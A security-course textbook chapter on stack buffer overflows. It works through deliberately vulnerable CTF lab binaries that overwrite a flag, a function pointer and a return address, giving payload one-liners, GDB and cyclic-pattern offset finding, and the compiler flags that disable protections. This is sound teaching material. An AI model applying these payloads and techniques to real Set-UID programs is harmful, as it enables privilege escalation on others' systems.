Chapter 4: Stack Buffer Overflows

The buffer overflow is the oldest memory-corruption bug in the book, and it is still one of the most common. Its shape is simple. A program reserves a fixed amount of memory for some data, then copies in more data than fits. The extra bytes do not disappear; they land on whatever happens to sit next to the buffer. When that buffer lives on the stack, the neighbors are other local variables, saved registers, and the address the function will return to. Those values are exactly the ones that decide what the program does next.

This chapter takes a careful look at that mechanism. We start from one vulnerable function and its stack frame. Then we climb three rungs of a ladder, each one giving the attacker more control: overwrite a neighboring variable, overwrite a function pointer, and finally overwrite the saved return address. At the end of the chapter you will be able to send a vulnerable program’s control flow to any existing function you choose. Chapter 5 removes the last restriction, that the function must already exist.

Learning objectives. After this chapter you should be able to:

  • Explain why C programs can write past the end of a buffer, and which library functions make this easy.
  • Draw the stack frame of a simple 32-bit function, with byte offsets relative to %ebp, by reading its disassembly.
  • Overwrite an adjacent local variable, a function pointer, and a saved return address with a crafted input.
  • Find the distance from a buffer to a target slot in three ways: by reading the disassembly, with GDB, and with a cyclic pattern.
  • Generate binary payloads from the shell correctly, and avoid the common pitfalls (newlines, UTF-8 encoding, NUL bytes, word splitting).
  • Explain what each “insecure” compiler flag used in this chapter disables.

4.1 The Arms Race

Before we dig in, it helps to see where this chapter sits in the larger story. The history of software security from the late 1980s to today is an arms race between attacks and defenses. Each round is a reaction to the one before.

  attack                                   defense
  ------                                   -------
  stack buffer overflow  (Ch 4)
  + injected shellcode   (Ch 5)   ----->   non-executable stack (NX/DEP)  (Ch 6)
                                           stack canaries (StackGuard)    (Ch 6)
                                           address randomization (ASLR)   (Ch 6)
  code reuse: ret2libc, ROP (Ch 7) ---->   control-flow integrity (CFI)   (Ch 8)
  memory disclosure via format
  strings, OOB reads (Ch 10)      ----->   bypasses canaries and ASLR ...
                                           memory-safe languages (Rust)

Every attack in this list starts the same way: the attacker corrupts memory the program did not mean to expose. Stack buffer overflows are the simplest way to do that. Learn them well. Later techniques only change what the attacker writes and where it ends up.

4.2 What Is a Buffer Overflow?

A buffer is a contiguous block of memory that holds a sequence of data, such as a char array that holds a string. A buffer overflow occurs when a program writes past the end (or, less often, before the beginning) of a buffer. A stack buffer overflow is one where the buffer is a local variable, which lives on the stack.

C makes this easy for three reasons.

  1. Arrays do not know their own size. When an array is passed to a function it decays into a pointer to its first element. The callee has no way to ask how big the buffer is.
  2. No bounds checks. buf[i] = x compiles to a single store at address buf + i. Nothing at run time checks that i is in range.
  3. Unsafe library functions. Several standard functions copy “until done” and never ask how much room the destination has:
FunctionCopies until…Safer alternative
strcpy(dst, src)the first '\0' in srcstrncpy, strlcpy, snprintf
strcat(dst, src)the first '\0' in srcstrncat, strlcat
gets(buf)a newline or end of filefgets(buf, size, stdin)
sprintf(buf, fmt, ...)the formatted output endssnprintf(buf, size, fmt, ...)
scanf("%s", buf)whitespacescanf("%63s", buf) with an explicit width

gets is so dangerous that it was removed from the C standard in C11. Modern glibc still ships it for old binaries, but the compiler warns loudly when you use it. The “safer” functions are not foolproof either. strncpy does not NUL-terminate when the source is too long, and every bounded function is only as correct as the size you pass to it. Chapter 6 returns to this.

The consequences depend on what the overflowing bytes overwrite. If they hit unused memory, nothing visible happens. That is why overflow bugs can hide in production code for years. If they hit data the program later uses, the program misbehaves. And if they hit data that decides where execution goes next, the attacker controls the program.

Note. Buffer overflows are not a historical curiosity. “Out-of-bounds write” and “out-of-bounds read” have sat at or near the top of MITRE’s CWE Top 25 Most Dangerous Software Weaknesses list every year it has been published (https://cwe.mitre.org/top25/). The Morris worm of 1988, one of the first Internet worms, spread partly through a stack overflow. Chapter 5 tells that story.

4.3 The Anatomy of a Vulnerable Stack Frame

We will work with a function that looks like this. It is the core of every level in the s2CTF playground (https://github.com/sysec-uic/s2ctf-playground) used in this course.

#define SIZE 16

int vul(char *input)
{
    int flag = 0;
    char buf[SIZE];

    strcpy(buf, input);
    if (flag) {
        printf("Flag was changed!\n");
    } else {
        printf("Flag was not changed. Try it again!\n");
    }
    return 0;
}

Chapter 3 covered the 32-bit cdecl calling convention. Here is a quick recap of what happens when main calls vul(argv[1]):

  1. The caller pushes the argument input and executes call vul. That pushes the return address (the address of the instruction after the call) and jumps to vul.
  2. vul’s prologue saves the caller’s frame pointer and sets up its own: push %ebp; mov %esp,%ebp. It may also save callee-saved registers such as %ebx. Then it reserves room for locals by lowering %esp, for example sub $0x24,%esp.
  3. The body runs. To call strcpy(buf, input), vul pushes its two arguments in reverse order: first input, then &buf.
  4. The epilogue (leave; ret) restores %esp and %ebp. ret then pops the saved return address into %eip.

With SIZE 16, one compilation of vul produces this frame. (The exact offsets depend on the compiler version and flags. You will see how to read them off the disassembly in Section 4.6.)

                         high addresses
               +--------------------------+
     ebp+8     |  input   (argument)      |   pushed by main
               +--------------------------+
     ebp+4     |  return address          |   pushed by `call vul`
               +--------------------------+
     ebp  -->  |  saved %ebp of main      |   pushed by `push %ebp`
               +--------------------------+
     ebp-4     |  saved %ebx              |   callee-saved register
               +--------------------------+
     ebp-8     |  (padding)               |
               +--------------------------+
     ebp-0xc   |  flag                    |   int flag = 0
               +--------------------------+
               |                          |
     ebp-0x1c  |  buf[16]                 |   buf[0] is at the LOWEST address;
               |                          |   buf[15] is just below flag
               +--------------------------+
               |  ...                     |
               +--------------------------+
     esp+4     |  input       (2nd arg)   |   arguments for strcpy,
     esp  -->  |  &buf        (1st arg)   |   pushed right to left
               +--------------------------+
                         low addresses

The corresponding instructions look like this (AT&T syntax, as printed by objdump -d; pwndbg prints Intel syntax by default, with the operands reversed):

push   %ebp                 # save caller's frame pointer
mov    %esp,%ebp            # ebp = esp
push   %ebx
sub    $0x24,%esp           # make room for locals
...
movl   $0x0,-0xc(%ebp)      # flag = 0
sub    $0x8,%esp
pushl  0x8(%ebp)            # push input            (*esp = ebp[0x8])
lea    -0x1c(%ebp),%eax     # eax = &buf             (eax = &ebp[-0x1c])
push   %eax                 # push &buf
call   strcpy@plt

Note. Whether %ebx is saved depends on the build. Position-independent code keeps a GOT pointer in %ebx, so it saves it. With -no-pie -fno-pic, GCC 9.4 on Ubuntu 20.04 instead emits endbr32; push %ebp; mov %esp,%ebp; sub $0x28,%esp, and the slot at ebp-4 is plain padding (see the listing in Chapter 3). Either way, flag is at ebp-0xc and buf at ebp-0x1c. Distances are what matter, and they are the same.

There is one key observation, and the rest of the chapter depends on it. The stack grows down, but buffers fill up. buf[0] is at the lowest address, and strcpy writes buf[1], buf[2], … at increasing addresses. Once it passes buf[15] it keeps going, upward through flag, the padding, the saved %ebx, the saved %ebp, the return address, and the caller’s arguments. Every slot above buf in the diagram can be overwritten, in order, by a long enough input.

4.4 Level 1: Overwriting an Adjacent Variable

The first and gentlest target is a plain data variable. The s2CTF level stack0x01 uses a larger buffer:

int vul(char *input)
{
    int flag = 0;
    char buf[64];

    strcpy(buf, input);
    if (flag) {
        char *argv[] = {"/usr/bin/cat", "/ctf/key1", NULL};
        execve(argv[0], argv, NULL);
    } else {
        printf("Flag was not changed. Try it again!\n");
    }
    return 0;
}

int main(int argc, char *argv[], char *env[])
{
    if (argc == 1)
        errx(1, "Please specify an argument.");
    vul(argv[1]);
    return 0;
}

The program is installed Set-UID (see Chapter 2), and only the owner can read /ctf/key1. The program prints the key only if flag becomes nonzero, and nothing in the source ever sets it. The disassembly places the two locals here:

     ebp-0xc   |  flag      |   <- 4 bytes
               +------------+
               |            |
               |  buf[64]   |   0x4c - 0xc = 0x40 = 64 bytes
     ebp-0x4c  |            |

buf runs for exactly 64 bytes and ends right where flag begins. So the 65th byte of input lands in the lowest byte of flag:

$ ./stack0x01 $(python3 -c "print('a'*64)")
Flag was not changed. Try it again!
$ ./stack0x01 $(python3 -c "print('a'*65)")
<contents of /ctf/key1>

Why does 64 bytes not work? Because strcpy also copies the terminating '\0'. With a 64-byte input, the 65th byte written is 0x00, which goes into flag’s low byte, and that byte was already zero. With 65 bytes, flag’s low byte becomes 0x61 ('a') and the terminator lands in the next byte. flag is now 0x00000061, which is nonzero.

This level already shows the whole attacker mindset from Chapter 1. The program’s logic was correct. The bug is that the language let input data spill into a variable the programmer believed was private.

Try it. Change the input to 'a'*64 + 'BCD'. What value does flag hold now? Check your answer in GDB with p/x flag after the strcpy call. (Little-endian: the byte at the lowest address is the least significant byte.)

4.5 Level 2: Overwriting a Function Pointer

Changing a flag only gives us the behaviors the programmer already wrote. To go further we need to overwrite control data: values that decide which code runs next. The most direct kind is a function pointer.

void target() {
    char *argv[] = {"/usr/bin/cat", "/ctf/key2", NULL};
    execve(argv[0], argv, NULL);
}

void dummy() {
    printf("A dummy function is called.\n");
}

int vul(char *input)
{
    void (*fp)() = dummy;
    char buf[64];

    strcpy(buf, input);
    fp();
    return 0;
}

The layout is the same as Level 1, except that the slot at ebp-0xc now holds fp. The call fp() compiles to an indirect call. The CPU loads fp from the stack into a register and jumps to whatever address it contains:

mov    -0xc(%ebp),%eax
call   *%eax

So the plan is: 64 bytes of filler, then the address of target in place of fp.

Find the address of target. The binary is built without position-independent code (-no-pie), so code addresses are fixed when the program is linked and are the same on every run:

$ nm stack0x02 | grep target
080491a6 T target
$ gdb -q ./stack0x02
pwndbg> p target
$1 = {void ()} 0x80491a6 <target>

(Your address will differ. Always use the one from your binary.)

Encode it little-endian. x86 stores the least significant byte first, so 0x080491a6 becomes the bytes a6 91 04 08:

$ ./stack0x02 "$(python3 -c "import sys; sys.stdout.buffer.write(b'A'*64 + b'\xa6\x91\x04\x08')")"
<contents of /ctf/key2>

When vul executes call *%eax, %eax holds 0x080491a6, and execution goes into target instead of dummy.

Overwriting a function pointer is a forward-edge hijack. It corrupts the target of a call or jmp. In real programs the most common forward-edge targets are function pointers stored in structures and C++ virtual-table pointers. We return to this terminology in Chapter 8, where defenses treat forward and backward edges differently.

4.6 Level 3: Overwriting the Return Address

What if the program has no function pointer? Every function that is called and returns has one piece of control data on the stack: its saved return address. That makes the return address the classic target.

#define SIZE 64

void target() {
    char *argv[] = {"/usr/bin/cat", "/ctf/key3", NULL};
    execve(argv[0], argv, NULL);
}

int vul(char *input)
{
    char buf[SIZE];
    strcpy(buf, input);
    return 0;
}

In stack0x03 the disassembly shows lea -0x48(%ebp),%eax before the call to strcpy, so buf starts at ebp-0x48. The return address sits at ebp+4. The distance from the start of buf to the return address is:

    0x48  (from buf up to the saved %ebp)
  +    4  (the saved %ebp itself)
  ------
    0x4c = 76 bytes of filler, then 4 bytes of new return address
                 before strcpy                  after strcpy
              +---------------+              +----------------+
   ebp+4      | return addr   |              | &target        |  <- bytes 76..79
              +---------------+              +----------------+
   ebp        | saved %ebp    |              | AAAA           |  <- bytes 72..75
              +---------------+              +----------------+
   ebp-4      | saved %ebx    |              | AAAA           |
              +---------------+              +----------------+
              |               |              | AAAA ... AAAA  |
   ebp-0x48   | buf[64]       |              | AAAA ... AAAA  |  <- bytes 0..63
              +---------------+              +----------------+
$ nm stack0x03 | grep target
08049196 T target
$ ./stack0x03 "$(python3 -c "import os; os.write(1, b'A'*76 + b'\x96\x91\x04\x08')")"
<contents of /ctf/key3>

Nothing goes wrong while vul runs. strcpy returns normally, and so does return 0. The hijack happens at the very last instruction: leave restores %ebp to the garbage value 0x41414141, and ret pops our address into %eip.

Return sites versus call sites

Something subtle has happened, and it matters a great deal in Chapter 7. Normally a function is entered through a call site: a call instruction pushes a return address, then jumps. We entered target through a return site: ret popped an address and jumped, and it pushed nothing.

So when target starts executing, it sees the stack as if it had been called, but the word that it believes is its return address (at [%esp]) is whatever lay just above our overwritten slot. Here that is the original input argument. The words above that are what target would treat as its arguments. target never returns and takes no arguments, so none of this matters yet. But it means an attacker who also controls the bytes above the return address controls the fake callee’s arguments and its next return address too. Chaining that idea is the core of return-to-libc and return-oriented programming.

The program crashes afterwards. Does that matter?

Usually not. We also clobbered the saved %ebp, so if target did return, the program would probably crash. Attackers often do not care, because by then the damage is done. When a clean exit matters (for example, to avoid leaving a crash log), the attacker arranges for the hijacked code to call exit(). That is again a Chapter 7 technique.

4.7 Finding the Offset

The offset from the buffer to the target slot is the single most important number in a stack exploit. There are three standard ways to get it. Use at least two, so that each one checks the other.

Method 1: Read the disassembly

Look at how the buffer’s address is computed before it is passed to the copying function:

$ objdump -d stack0x03 | grep -A12 '<vul>:'
...
 lea    -0x48(%ebp),%eax
 push   %eax
 call   8049050 <strcpy@plt>
...

buf is at ebp-0x48, the saved %ebp is at ebp, and the return address is at ebp+4. So the offset is 0x48 + 4 = 76. Do not trust the C source for this. char buf[64] does not mean the return address is 68 bytes away. Compilers add padding for alignment and save registers in between, as the 0x48 here shows.

Method 2: Inspect the stack in GDB

Run the program under GDB with a recognizable input. Stop right after the copy and look at the addresses directly:

$ gdb -q --args ./stack0x03 AAAAAAAA
pwndbg> break vul
pwndbg> run
pwndbg> next                     # step over strcpy
pwndbg> p &buf
$1 = (char (*)[64]) 0xffffcf90
pwndbg> p $ebp
$2 = (void *) 0xffffcfd8
pwndbg> x/2wx $ebp
0xffffcfd8: 0xffffcff8  0x080491f4    # saved ebp, return address

The return address is at $ebp + 4 = 0xffffcfdc, and 0xffffcfdc - 0xffffcf90 = 0x4c = 76. pwndbg’s stack and telescope commands show the same thing with annotations. (Chapter 3 introduces these commands.)

Method 3: A cyclic pattern

The fastest method, and the one that works even without symbols, is a de Bruijn sequence: a string in which every 4-byte substring appears at most once. Feed it to the program, let it crash, and read which 4 bytes ended up in %eip. Their position in the pattern is the offset. pwntools ships a command-line tool for this:

$ pip3 install pwntools
$ export PATH=$PATH:$HOME/.local/bin
$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
$ gdb -q --args ./stack0x03 $(cyclic 100)
pwndbg> run
Program received signal SIGSEGV, Segmentation fault.
Invalid address 0x61616174
pwndbg> quit
$ cyclic -l taaa          # 0x61616174 read as little-endian bytes is "taaa"
76

The pattern is built from 4-byte blocks aaaa, baaa, caaa, …, and the block starting with the n-th letter begins at offset 4n. t is letter 19 (counting from 0), so taaa starts at offset 76. That matches Methods 1 and 2. cyclic -l also accepts the raw value (cyclic -l 0x61616174).

4.8 Crafting Payloads from the Shell

The payload is a sequence of bytes, not a string. Many failed exploits are caused by the tool that generates those bytes, not by the exploit logic. Here are the standard idioms:

# As a command-line argument (argv[1]):
./prog "$(python3 -c "import sys; sys.stdout.buffer.write(b'A'*76 + b'\x96\x91\x04\x08')")"
./prog "$(python3 -c "import os; os.write(1, b'A'*76 + b'\x96\x91\x04\x08')")"
./prog "$(perl -e 'print "A"x76 . "\x96\x91\x04\x08"')"

# On standard input (for gets(), fgets(), read(0, ...)):
python3 -c "import sys; sys.stdout.buffer.write(b'A'*76 + b'\x96\x91\x04\x08')" | ./prog

# Saved to a file, for repeatable experiments and for GDB:
python3 exploit.py > badfile
./prog "$(cat badfile)"          # or:  ./prog < badfile
gdb -q --args ./prog "$(cat badfile)"

$( ... ) is command substitution. The shell runs the inner command and replaces the expression with its output, which becomes the program’s argument. Watch out for these pitfalls:

  • print() encodes text, not bytes. In Python 3, print('\xa6') prints the Unicode character U+00A6, which UTF-8 encodes as the two bytes c2 a6. Every byte 0x80 or above gets corrupted this way. Use sys.stdout.buffer.write (or os.write) with a bytes literal (b'...'). print('A'*65) is fine only because 'A' is ASCII.
  • print() adds a newline. For argv, command substitution strips trailing newlines, so it usually does not matter. For stdin, the \n becomes part of the input. gets stops there, but read copies it.
  • Quote the substitution. Without the double quotes, the shell splits the output into several arguments at spaces, tabs, and newlines (bytes 0x20, 0x09, 0x0a) and may expand * as a glob. An address that happens to contain 0x20 silently breaks an unquoted payload.
  • NUL bytes cannot pass through argv. C strings in argv end at the first 0x00, and bash drops NUL bytes from command substitution (with a warning). strcpy would stop at the first NUL anyway. This is why all the binaries here are 32-bit and non-PIE: an address like 0x08049196 contains no zero byte. A 64-bit code address such as 0x0000000000401196 does, which makes the same attack harder (see the note below).
  • Payload length changes addresses. argv strings live at the top of the stack (Section 4.9), so a longer argument pushes everything else down. This does not matter for the fixed code addresses in this chapter. It matters a lot in Chapter 5, where we jump into the stack.

Note: 64-bit differences. On x86-64 the return address is 8 bytes, arguments are passed in registers (%rdi, %rsi, …) rather than on the stack, and user-space addresses have their two most significant bytes equal to zero. Because the zeros come last in little-endian order, a single partial overwrite with strcpy can sometimes still work. The terminating NUL supplies one of the zero bytes, and the rest are already zero in the old return address. Placing anything after the address in the same payload is impossible, though. Lab 3’s optional Task 5 explores this in a format-string setting.

4.9 Background: execve() and What main Receives

The target functions above use execve, the system call that replaces the current process image with a new program:

int execve(const char *filename, char *const argv[], char *const envp[]);

argv and envp are NULL-terminated arrays of pointers to strings. A minimal program that starts a shell looks like this:

#include <unistd.h>

int main() {
    char *args[2];
    args[0] = "/bin/sh";
    args[1] = NULL;
    execve(args[0], args, NULL);
}
$ strace ./sh 2>&1 | head -1
execve("/bin/sh", ["/bin/sh"], NULL) = 0

The receiving side is just as important for exploitation. Whatever arrays are passed to execve show up as the arguments of the new program’s main:

int main(int argc, char *argv[], char *envp[]) { ... }

The kernel copies the argument and environment strings onto the top of the new process’s stack, before the first stack frame is built:

          0xffffdfff  (top of the 32-bit user stack, ASLR off)
        +--------------------------+
        | environment strings      |   "PATH=/usr/bin:...", "HOME=..."
        | argument strings         |   "./stack0x03", "AAAA....\x96\x91\x04\x08"
        +--------------------------+
        | envp[] pointer array     |
        | argv[] pointer array     |
        | argc                     |
        +--------------------------+
        | main's frame             |
        | vul's frame  (buf, ...)  |   grows downward from here
        +--------------------------+

Two consequences follow. First, our payload is in memory twice: once where strcpy copied it into buf, and once in its original location among the argument strings. Second, the depth of every stack frame depends on the total size of the program’s arguments and environment. Remember both. Chapter 5 uses them, and Chapter 2 has already shown that the environment is attacker-controlled.

4.10 The Training Wheels: Compiler Flags

If you compile the vulnerable programs above with a default gcc on a modern Ubuntu, none of the attacks in this chapter work as described. The playground’s Makefile explicitly turns off several protections:

FLAGS       = -z execstack -fno-stack-protector -g
FLAGS_32    = -m32
FLAGS_NOPIE = -no-pie -fno-pic

stack0x01: vul1.c
	gcc $(FLAGS) $(FLAGS_NOPIE) $(FLAGS_32) -o $@ $^
FlagWhat it doesWhy we use it here
-m32Builds a 32-bit x86 binary (needs gcc-multilib).Arguments go on the stack, addresses have no zero bytes, frames are easy to read.
-fno-stack-protectorDisables stack canaries, the guard value the compiler places between locals and the saved registers and checks before ret.Otherwise the overwrite in Levels 2–3 is detected and the program aborts with *** stack smashing detected ***.
-no-pie -fno-picProduces a non-position-independent executable, loaded at a fixed address (e.g. 0x08048000).target’s address is the same on every run, even with ASLR on.
-z execstackMarks the stack segment executable in the ELF headers.Not needed for this chapter. It lets Chapter 5 run code placed on the stack.
-gIncludes debugging symbols.Lets GDB print buf, flag, fp by name.

Level 1 is special. Even a stack canary does not stop it, because flag sits below the canary, between buf and the guard value. Modern compilers try to place character arrays above other locals precisely to prevent this. Each of these protections is the subject of Chapter 6. For now, keep this in mind: turning the protections off is a teaching device, not a claim that real systems lack them. Real exploits first have to defeat or sidestep each one, and much of Part II is about how.

4.11 Cliffhanger: No Target Function

The playground’s next level, stack0x04, removes the convenience we have relied on all chapter:

int vul(char *input)
{
    char buf[SIZE];
    strcpy(buf, input);
    return 0;
}

int main(int argc, char *argv[], char *env[])
{
    if (argc == 1)
        errx(1, "Please specify an argument.");
    vul(argv[1]);
    return 0;
}

We can still overwrite the return address. The offset is found exactly as in Section 4.7. But there is no target() in the binary to return to. Where should ret go?

Two answers exist. The first answer is: write the code yourself. Put machine instructions inside the payload and return into the buffer. That is code injection, the subject of Chapter 5. The second answer is: find useful code that is already in the process, such as system() in the C library, and return there. That is code reuse, the subject of Chapter 7.

Check Your Understanding

1. In stack0x01, buf is at ebp-0x4c and flag at ebp-0xc. Why does an input of exactly 64 'a' characters fail to change flag, while 65 succeed?

Answer

strcpy copies the terminating NUL as well. With 64 characters, bytes 0–63 fill buf and the 65th byte written, 0x00, lands in flag’s least significant byte, which was already 0. With 65 characters, flag’s low byte becomes 0x61 and the NUL goes into the next byte. flag becomes 0x00000061, which is nonzero.

2. A function has char buf[32], and its disassembly shows lea -0x28(%ebp),%eax; push %eax; call gets. How many bytes of filler come before the return address? Would the C declaration alone have given you the right answer?

Answer

0x28 + 4 = 40 + 4 = 44 bytes: 0x28 bytes from buf up to the saved %ebp, plus 4 bytes for the saved %ebp itself. The C declaration would suggest 32 + 4 = 36, which is wrong. The compiler added 8 bytes of padding and/or saved registers. Always read offsets from the binary.

3. Your payload is b'A'*64 + b'\xa6\x91\x04\x08'. You generate it with python3 -c "print('A'*64 + '\xa6\x91\x04\x08')". The program crashes at 0x91c2a6c2 instead of jumping to 0x080491a6. Explain the crash address.

Answer

Python 3’s print writes a Unicode string encoded as UTF-8. Every character from '\x80' to '\xff' becomes two bytes: '\xa6' becomes c2 a6, and '\x91' becomes c2 91. So the bytes after the filler are c2 a6 c2 91 04 08. The first four of them, read little-endian, are 0x91c2a6c2. Use sys.stdout.buffer.write(b'...').

4. What is the difference between entering a function through a call site and through a return site? Why does it matter to an attacker?

Answer

A call pushes a return address and then jumps. A ret pops an address and jumps, pushing nothing. When an attacker “returns into” a function, that function treats the word at [%esp] as its return address and the words above it as its arguments, even though the attacker wrote all of them. So the attacker controls not only which function runs, but also the arguments it sees and where it returns afterwards. This is the foundation of return-to-libc and ROP.

5. Level 1 changes a data variable. Levels 2 and 3 change control data. Which of the three would a stack canary placed just below the saved %ebp stop? Why?

Answer

It would stop Level 3. To reach the return address the overflow must pass through the canary, which is checked before ret. It would not stop Level 1, because flag lies between buf and the canary. Level 2 behaves like Level 1 if fp sits below the canary: the overwritten pointer is called before the function returns, so the canary check is never reached. This is why compilers also try to place arrays above scalar locals and pointers.

6. Why are the playground binaries compiled with -no-pie, and why does that make Levels 2 and 3 work even with ASLR enabled?

Answer

A non-PIE executable contains absolute addresses and must be loaded at the address it was linked for (e.g. 0x08048000). ASLR can randomize the stack, heap, and shared libraries, but it cannot move such an executable’s code. So target’s address, read once with nm, is valid on every run. With PIE (the modern default) the executable’s base address is randomized too, and the attacker would first need to leak an address.

Summary

  • C has no bounds checks, and functions like strcpy, gets, and sprintf copy without knowing the destination’s size. Excess bytes overwrite whatever lies above the buffer on the stack.
  • In a 32-bit cdecl frame, the locals sit below the saved %ebp, the saved %ebp sits below the return address, and the return address sits below the caller’s arguments. One long input can overwrite all of them in order.
  • Overflows escalate from data (an adjacent flag), to forward-edge control data (a function pointer), to backward-edge control data (the saved return address).
  • Get the offset from the disassembly (lea -0xNN(%ebp)), from GDB, or with a cyclic pattern, and preferably from two of these.
  • Generate payloads as bytes (sys.stdout.buffer.write), quote command substitutions, avoid NUL bytes, and remember that argv/envp sizes shift the stack.
  • The examples work because protections are turned off: -fno-stack-protector, -no-pie, -m32, and later -z execstack. Chapter 6 turns them back on.

Connection to the Labs

  • The s2CTF playground (https://github.com/sysec-uic/s2ctf-playground) has stack0x01–stack0x03, which match Sections 4.4–4.6 exactly. Reproduce each level, and for Level 3 find the offset with all three methods of Section 4.7.
  • Lab 2: Return-to-libc Attack begins with the same overflow. Its vulnerable program retlib.c copies a file into a small stack buffer, and Task 3 requires exactly the offset-finding skills from this chapter. Read its appendix on the function-call mechanism together with Section 4.3.
  • The Set-UID setting behind these exploits, and why a hijacked Set-UID program yields root privilege, is covered in Chapter 2 and Lab 1.

Further Reading